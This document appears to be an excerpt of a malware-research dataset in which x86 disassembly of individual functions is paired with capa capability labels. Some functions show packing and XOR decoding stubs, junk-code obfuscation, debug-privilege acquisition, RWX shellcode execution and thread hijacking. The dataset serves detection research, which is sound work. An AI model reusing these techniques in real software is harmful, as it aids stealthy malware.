joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e528
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov word [ebp - 0xa], cx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x42e547
sub eax, 4
mov eax, dword [eax]
mov esi, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
test eax, eax
je 0x42e557
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
sub ebx, dword [ebp + 8]
sub ebx, esi
inc ebx
cmp dword [ebp + 8], 0
jl 0x42e679
test ebx, ebx
jl 0x42e679
test esi, esi
jle 0x42e679
mov eax, dword [ebp - 8]
call fcn.0040ae24
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040ae24
mov ecx, eax
mov eax, dword [ebp + 8]
add eax, eax
add ecx, eax
movzx eax, word [ebp - 0xa]
cmp ax, word [ebp + 0xc]
je 0x42e616
xor eax, eax
mov dword [ebp - 0x14], eax
test ebx, ebx
jl 0x42e679
inc ebx
mov dword [ebp - 0x1c], ebx
xor edx, edx
xor eax, eax
jmp 0x42e5fb
lea ebx, [eax + edx]
movzx ebx, word [ecx + ebx*2]
cmp bx, word [ebp - 0xa]
jne 0x42e5ca
inc dword [ebp - 0x14]
jmp 0x42e5da
lea ebx, [eax + edx]
movzx ebx, word [ecx + ebx*2]
cmp bx, word [ebp + 0xc]
jne 0x42e5da
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0
jle 0x42e5e5
or eax, 0xffffffff
jmp 0x42e5fb
lea ebx, [eax + edx]
movzx ebx, word [ecx + ebx*2]
mov edi, dword [ebp - 0x10]
cmp bx, word [edi + eax*2]
jne 0x42e5f8
inc eax
jmp 0x42e5fb
or eax, 0xffffffff
test eax, eax
jl 0x42e603
cmp esi, eax
jg 0x42e5b8
cmp esi, eax
jg 0x42e60e
mov eax, edx
add eax, dword [ebp + 8]
jmp 0x42e67c
inc edx
dec dword [ebp - 0x1c]
jne 0x42e5b4
jmp 0x42e679
mov byte [ebp - 0x15], 0
test ebx, ebx
jl 0x42e679
inc ebx
mov dword [ebp - 0x1c], ebx
xor edx, edx
xor eax, eax
jmp 0x42e660
lea ebx, [eax + edx]
movzx ebx, word [ecx + ebx*2]
cmp bx, word [ebp - 0xa]
jne 0x42e63f
movzx ebx, byte [ebp - 0x15]
xor bl, 1
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x42e64a
or eax, 0xffffffff
jmp 0x42e660
lea ebx, [eax + edx]
movzx ebx, word [ecx + ebx*2]
mov edi, dword [ebp - 0x10]
cmp bx, word [edi + eax*2]
jne 0x42e65d
inc eax
jmp 0x42e660
or eax, 0xffffffff
test eax, eax
jl 0x42e668
cmp esi, eax
jg 0x42e628
cmp esi, eax
jg 0x42e673
mov eax, edx
add eax, dword [ebp + 8]
jmp 0x42e67c
inc edx
dec dword [ebp - 0x1c]
jne 0x42e624
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x43d5f8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x43d600
mov eax, edx
pop esi
pop ebx
ret

Function at 0x440244
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebx
add edx, eax
cmp edx, eax
jbe 0x44025b
movzx ebx, byte [eax]
xor ecx, ebx
imul ecx, ecx, 0x1000193
inc eax
cmp edx, eax
ja 0x44024b
mov eax, ecx
pop ebx
ret
Function at 0x4b37f4
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
or dl, byte [ebx + 0xd]
je 0x4b3837
cmp byte [ebx + 0x11], 0
jne 0x4b3837
cmp byte [ebx + 0x24], 0
jne 0x4b3837
mov byte [ebx + 0xf], 0
mov byte [ebx + 0xd], 0
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x4b384e
mov ecx, dword [0x4d8bec]
mov dl, 1
mov eax, dword [0x486a78]
call fcn.00428b80
call fcn.00409ab8
pop ebx
ret
mov ecx, dword [0x4d8bec]
mov dl, 1
mov eax, dword [0x486a78]
call fcn.00428b80
call fcn.00409ab8
pop ebx
ret

Function at 0x4b41bc
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xf]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x4b420a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xf], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.004b36a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b4223
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4b422c
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.004b36a0
dec esi
jne 0x4b424e
mov byte [ebx + 0xf], 0
pop esi
pop ebx
ret

Function at 0x4038f7
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040f6], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404650], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045e4], eax
mov dword [0x4040ee], eax
mov dword [0x4045d0], 0x30
mov dword [0x4045d4], 2
jmp 0x40393c
mov dword [0x4045d8], 0x40321a
mov dword [0x4045dc], 0
mov dword [0x4045e0], 0
mov dword [0x4045f8], 0x40454d
mov dword [0x4045f0], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045e8], eax
mov dword [0x4045fc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045ec], eax
push 0x4045d0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4040ee]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.lofegaswer_huijd
push str.lisclass
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404648], eax
push 5
push dword [0x404648]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404648]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404600]
jmp 0x403a10
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a02
mov eax, dword [0x404608]
jmp 0x403a2b
call 0x402c21
ret
Function at 0x8ccbb8
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x8cc92e
sub esp, 4
mov dword [esp], esi
mov ebx, dword [esp]
add esp, 4
call fcn.008ccbf8
add esi, 0x5a820531
push esi
mov ebx, dword [esp]
add esp, 4
xor dword [ecx], eax
or esi, esi
sub esi, 0x3c3306c6
inc ecx
add ebx, esi
cmp ecx, edx
jne fcn.008ccbb8
add ebx, 0xf007d1de
ret
Function at 0x7ffe5398
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
add al, 4
sub al, 4
push es
pop ds
not eax
not eax
inc esi
dec esi
pushf
popf
push eax
pop eax
not eax
not eax
and al, 0xff
pushf
popf
push eax
pop eax
push bx
inc esp
inc esp
and al, 0xff
push bx
inc esp
inc esp
and al, 0xff
not eax
not eax
push eax
pop eax
push bx
inc esp
inc esp
add al, 0
xor eax, ecx
xor eax, ecx
push es
pop ds
not eax
not eax
and al, 0xff
add al, 4
sub al, 4
push es
pop ds
xor eax, ecx
xor eax, ecx
inc esi
dec esi
push bx
inc esp
inc esp
push es
pop ds
xor eax, ecx
xor eax, ecx
inc esi
dec esi
push bx
inc esp
inc esp
push es
pop ds
not eax
not eax
add al, 0
pushf
popf
call 0x7ffe540d
pop edx
push eax
pop eax
xor eax, ecx
xor eax, ecx
xor dx, dx
push eax
pop eax
and al, 0xff
clc
add edx, 0xd5e0
xor eax, ecx
xor eax, ecx
inc esi
dec esi
add al, 0
stc
xor ecx, ecx
push bx
inc esp
inc esp
stc
mov cl, 0x1e
push es
pop ds
xor byte [ecx + edx], 0xc5
loop 0x7ffe5436
inc esi
dec esi
xor eax, ecx
xor eax, ecx
stc
push dword fs:[0x24]
clc
pop dword [edx + 0xa]
inc esi
dec esi
and al, 0xff
mov cl, 0xff
cld
add al, 0
push edx
loop 0x7ffe5457
push es
pop ds
and al, 0xff
mov dword [edx + 0x11], 0xffffacbb
push es
pop ds
add al, 0
mov ecx, dword [eax + 0x2c]
inc esi
dec esi
pushf
popf
mov dword [edx + 0x1b], ecx
inc esi
dec esi
pushf
popf
mov dword [edx + 0x100], ecx
and al, 0xff
and bh, 0xff
mov dword [eax + 0x2c], esp
add al, 0
pushf
popf
inc esi
dec esi
clc
push 0
stc
push 0
xor eax, ecx
xor eax, ecx
push es
pop ds
push 0
not eax
not eax
clc
push 0
pushf
popf
cld
push 0x30
push eax
pop eax
push 0x20
inc esi
dec esi
pushf
popf
push 0
cld
add al, 0
push 0
and al, 0xff
nop
add edx, 0xffff7f2f
push es
pop ds
add al, 4
sub al, 4
inc esi
dec esi
stc
push edx
push es
pop ds
push bx
inc esp
inc esp
clc
push edx
pushf
popf
clc
push 0
xor eax, ecx
xor eax, ecx
stc
call dword [edx + 0x8214]
pushal
inc eax
popal
add esp, 0x3f8
cld
xor eax, eax
push bx
inc esp
inc esp
inc eax
push es
pop ds
add al, 4
sub al, 4
and bh, 0xff
ret 0xc

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
je 0x431072
nop
nop
nop
mov ebx, 0x40915c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x644464cc
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
nop
mov eax, section..reloc
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4310d2
mov ebx, 0x42f3f8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x53e918a2
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4310c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x100017b0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100759c8
push 0x1003d770
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x1007a040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10001845
xor al, al
jmp 0x100018ce
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001870
xor al, al
jmp 0x100018ce
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x100018bb
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1003bf25
mov esp, ebp
pop ebp
ret
Function at 0x10006f40
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
call fcn.10012c80
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10006ab0
push 0
push 0
mov dword [0x1007f020], eax
mov dword [0x1007f024], edx
mov dword [0x1007f028], eax
mov dword [0x1007f02c], edx
call esi
mov ebx, eax
test ebx, ebx
je 0x10006fb8
push 0
push 0
push 0
push 0x10006d40
push 0
push 0
call esi
mov edi, eax
test edi, edi
je 0x10006fb8
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x64
push ebx
call esi
push 0x64
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
ret
push 1
call fcn.1004643d
int3
Function at 0x100106c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 1
mov dword [0x1007ab64], edx
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x1007ab64], edx
inc eax
cmp eax, 0x270
jb 0x100106d1
mov dword [0x1007ab60], 0x270
pop ebp
ret 8

Function at 0x10010700
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x1001075d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x10010720
mov eax, dword [esi]
jmp 0x1001083b
cmp eax, 0x4e0
jb 0x1001083b
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x10010776
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x100107c1
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10011530
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x10073b90]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
push esi
movaps xmm0, xmmword [0x10073bb0]
movups xmmword [ebp - 0x24], xmm0
movaps xmm0, xmmword [0x100736a0]
movups xmmword [ebp - 0x14], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x10011560
push 0
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], 0
push eax
push 0
push 0x1007f070
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1001164c
push 0x1007f06c
push 0
push 0
push 0x8004
push dword [0x1007f070]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1001164c
movaps xmm0, xmmword [0x10073ce0]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x7c247275
movaps xmm0, xmmword [0x10073950]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x76206654
movaps xmm0, xmmword [0x10073a90]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x35646e41
mov word [ebp - 4], 0x69
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x100115f0
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], 0
push eax
push dword [0x1007f06c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1001164c
push 0x1007f068
push 0x800000
push dword [0x1007f06c]
push 0x6801
push dword [0x1007f070]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1001164c
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1007f064], eax
call fcn.1003ab60
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.1003b040
push 0x100113f0
push 0x1007f060
call fcn.1003a870
call fcn.1003abc0
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100116ba
mov dword [0x1007f060], 0x60f6e0
call fcn.1003ab60
call esi
push eax
call fcn.1003b040
push 0x100113f0
push 0x1007f060
call fcn.1003a3e0
call fcn.1003abc0
call fcn.1003ab60
call esi
push eax
call fcn.1003b040
push 0x10011420
push 0x1007f05c
call fcn.1003a870
call fcn.1003abc0
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10011717
mov dword [0x1007f05c], 0x60eab0
call fcn.1003ab60
call esi
push eax
call fcn.1003b040
push 0x10011420
push 0x1007f05c
call fcn.1003a3e0
call fcn.1003abc0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012c80
Capabilities:
Acquire debug privileges
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
mov eax, dword [0x1007a040]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
call esi
test eax, eax
jne 0x10012ca4
call esi
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
cmp edi, 0xffffffff
je 0x10012d7c
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push 0x28
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10012d7c
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeSecurityPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10012d7c
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10012d7c
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10012d7c
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10012d7c
push dword [esp + 0x20]
call esi
push edi
call esi
lea eax, [esp + 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10012e16
movaps xmm0, xmmword [0x10073660]
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov word [esp + 0x1c], 2
nop dword [eax]
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x10
jb 0x10012db0
lea eax, [esp + 0x24]
mov byte [esp + 0x1d], 0
push eax
lea eax, [esp + 0x11]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10012e10
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0x10
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x34]
mov dword [esp + 0x44], 1
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x20]
call esi
call fcn.10017b90
mov dword [0x1007f110], eax
test eax, eax
je 0x10012e2b
mov ecx, eax
call fcn.10017d80
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.1003bf25
mov esp, ebp
pop ebp
ret
Function at 0x10017b90
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1007a040]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x12
mov dword [ebp - 0x2f8], 0x7e664012
mov dword [ebp - 0x2f4], 0x76737d5e
xor eax, eax
mov dword [ebp - 0x2f0], 0x7b606641
mov word [ebp - 0x2ec], 0x757c
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x10017bea
mov cl, byte [ebp - 0x2f8]
jmp 0x10017bd5
push ebx
mov byte [ebp - 0x2e8], 0x67
mov al, 9
xor al, byte [ebp - 0x2e8]
mov bl, 0xb
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 3
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x13
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x49
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x10017d62
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10017d62
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.1003e0a0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10017d62
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10017d62
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10017d62
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x100018f0
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10017d62
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003bf25
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1003bf25
mov esp, ebp
pop ebp
ret